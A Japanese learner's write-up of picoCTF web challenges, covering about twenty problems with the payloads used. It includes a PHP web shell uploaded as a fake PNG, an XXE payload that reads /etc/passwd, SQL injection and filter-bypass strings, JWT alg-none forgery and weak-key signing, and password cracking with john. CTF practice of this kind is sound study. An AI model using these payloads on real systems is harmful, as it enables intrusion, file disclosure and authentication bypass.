picoCTF - web
なかなか初心者を抜け出せないので,量をこなそう作戦
解いたことがある問題は記載しない
WebDecode
開発者ツール的なので About ページを見ると怪しい文字列があるので,base64 デコード
Intro to Burp
アカウントを作ると OTP を求められる. リクエストの otp= を消してリクエストを送ると OK
curl -X POST http://titan.picoctf.net:54630/dashboard -H 'Cookie: session=.eJxdjDkOwyAUBe9CnQIwi8llEBhQkA0fsciKotw9tKSct8wHHbG_0RPFMybIgB7oaDXoDqfPMxZSWYUp3VwQnOzMcUbMrri1WAbiFSaUGSnU_IVxXTqb5Bcb9DKZ4U1wPrGY1m6obtmUF2Sv80jW16UYzdc_4_cH_-A4Iw.ZjLzXA.osPDJuPjvfZFlwhe-7dVDbKhZj0'
Unminify
開発者ツールを見る
Trickster
画像をアップロードできる. アップロードできる系はシェルが通りそうなことを HTB で学んだのでやってみる.
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
robots.txt
から /uploads/
にアップロードした画像が置いてあるような気がする.
また,X-Powered-By
を見れば PHP 製であることが分かるので,PHP が通る.
さらに instructions.txt
を見ると,ut wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
みたいに書いてあるので, 50 4E 47
-> PNG が書いてあればいいんだと思う
以下のようなファイルを作ってアップロードする.
PNG
<div>Use `?cmd=` param.</div>
<pre><?php system($_GET["cmd"]);?></pre>
あとは curl -s 'http://atlas.picoctf.net:62518/uploads/a.png.php?cmd=ls%20../' | strings
で見つかったファイルを cat すると flag が見つかる.
find me
burp suite で通信を見ると,/nextpage みたいなところにリダイレクトしてから /home に遷移している. id を見ると base64 なのでデコードすると flag を得られる.
MatchTheRegex
function send_request() {
let val = document.getElementById("name").value;
// ^p.....F!?
fetch(`/flag?input=${val}`)
.then(res => res.text())
.then(res => {
const res_json = JSON.parse(res);
alert(res_json.flag)
return false;
})
return false;
}
正規表現にマッチするものを入力すればいいらしい.
picoCTF
で通った.
なんだこれは
SOAP
/etc/passwd が見れればいいらしい. XML が見えるリクエストがあるので,LFI を狙って XXE を試みる.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY secretData SYSTEM "file:///etc/passwd">
]>
<data>
<ID>
2
&secretData;
</ID>
</data>
More SQLi
まずログインする.
適当に入れると SQL のペイロードを見せてくれる.
password が先に来てるので,username は適当,password を ' OR '1'='1';
にしてログイン.
テーブルが見えるので,' OR '1'='1' UNION SELECT 1,2,3 FROM sqlite_master --
で全部表示する.
色々テーブルが見えるので,いくつか試す.
picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_c8b7cc2a}
こういう SQLi 系,いつもガチャガチャやってたらできてしまうので,ちゃんと仕組みを理解したい
Java Code Analysis!?
JWT っぽい Authorization ヘッダがあるので,デコードしてみると
{
"role": "Free",
"iss": "bookshelf",
"exp": 1715232635,
"iat": 1714627835,
"userId": 1,
"email": "user"
}
のようなのが見えるので多分これだろうと思って進める. alg を none にして送信すれば通るだろうと思ったがおそらく対策されて通らなかったので,真面目に署名をつける.
private String generateRandomString(int len) {
// not so random
return "1234";
}
とあるので 1234 が秘密鍵になっている.
{"typ":"JWT","alg":"HS256"}{
"role": "Admin",
"iss": "bookshelf",
"exp": 1715232635,
"iat": 1714627835,
"userId": 1,
"email": "user"
}
で送ってみると失敗する. 署名がうんぬんとは言われていないので,1234 で合ってるっぽい
email と userId (おそらく userId だけ) を見ているようなので,ここも admin に変えると通る.
Secrets
http://saturn.picoctf.net:62722/secret/hidden/superhidden/index.html
SQLiLite
username: ' OR '1' = '1';
password: aaaa
SQL query: SELECT * FROM users WHERE name='' OR '1' = '1';' AND password='aaaa'
ソースコードに隠れているのでデベロッパーツールで見る.
Irish-Name-Repo 1
' OR '1'='1';
Irish-Name-Repo 2
admin'--
ユーザー名を admin で固定してあとはコメントアウト
Irish-Name-Repo 3
burp suite で見て,debug=1 にするとペイロードを教えてくれる.
入力した文字が変換されてから出力されることが分かったので,それに対応するように ' OR 1=1;
と入力すると通る.
'!='' --
でも通るらしい.
JaWT Scratchpad
JWT か,と思いながら burp をみると cookie に jwt が入っている. user を admin に変えて,alg を none に変えて入力すると通らない. 署名をちゃんと考える必要がある.
全然分からんので writeup を見ると,john the ripper で解けるらしい. 知らなんだ
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
で ilovepico
なので,jwn.io に入れてデコードされたのを入力すると通る.
Web Gauntlet 3
前に Gauntlet 2 を解いたんだろうか?
filter を見ると Filters: or and true false union like = > < ; -- / / admin
ということらしい.
一方で空白文字はフィルタされていないので使える.
そこで,文字列連結を考える('adm' || 'in'
).
そのうえで,password には OR が入っているので,使えない.
そこで,0' IS NOT '1
で常に True をもらえるようにする.
JAuth
また JWT. 今度は alg を none に設定するとうまく進む.
以下個人的注意点
- https://jwt.io/ だと,alg: none が動作しないので,代わりに https://token.dev/ を使う.
- JWT トークンは必ず 3 つのセクションがあるので,署名のあるなしに関わらず
.
を付ける.